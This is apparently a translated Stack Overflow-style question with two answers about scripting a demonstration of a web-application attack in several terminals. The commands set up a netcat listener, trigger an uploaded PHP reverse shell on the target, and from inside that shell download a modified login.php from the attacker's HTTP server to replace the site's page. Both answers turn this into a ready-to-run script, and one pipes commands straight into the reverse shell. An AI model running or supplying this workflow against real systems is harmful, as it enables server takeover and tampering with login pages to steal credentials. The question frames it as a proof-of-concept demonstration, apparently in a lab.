如何自动化bash脚本

时间:2016-11-30 11:25:29

标签: linux bash cmd terminal

美好的一天好人!

我正在尝试编写一个允许我展示用于黑客攻击Web应用程序的PoC的脚本,目前它要求我打开几个不同的进程和终端并在特定终端中执行命令然后切换回其他终端。

我想做以下事情:

  • 终端0:
  • 启动http服务器> python -m SimpleHTTPServer 8081
  • 启动终端1:
  • 启动shell侦听器> nc -v -n -l -p 8082
  • 启动终端2:
  • 启动反向shell > wget "172.16.0.XXX/upload/16/rs/rs.php"
  • 终端1(在nc内):
  • 浏览目录> cd var/www/users/
  • 下载已修改的网页> wget "10.13.37.128:8081/login.php"
  • 星级终端3:
  • 打开firefox并浏览到172.16.0.180/users/login.php
  

&安培; python -m SimpleHTTPServer 8081

     

&安培;终端-e nc -v -n -l -p 8082

     

wget“172.16.0.180/upload/16/rs/php-reverse-shell.php”

     

cd var / www / users #Problem在这里,如何切换回nc终端?

     

wget“10.13.37.128:8081/login.php”

让我感到困惑的是在需要时在特定终端之间切换。为此只写一个宏是有意义的还是可以做到这一点?任何帮助,将不胜感激!

2 个答案:

答案 0 :(得分:1)

启动各种终端的脚本怎么样?

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'

对于“nc问题”我建议一个简单的伎俩:

(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082

答案 1 :(得分:0)

#!/bin/bash
xterm -title "=http server" -e "python -m SimpleHTTPServer 8081" &
xterm -title "=Shell Listener" -e "nc -v -n -l -p 8082" &
xterm -title "=reverse shell" -e "wget '172.16.0.XXX/upload/16/rs/rs.php'" &
xterm -title "=Download Modified Page" -e "wget '10.13.37.128:8081/login.php'" &
xterm -title "=Firefox" -e "firefox 'http://172.16.0.180/users/login.php'" &

这使用Xterm为不同的命令打开多个终端模拟器。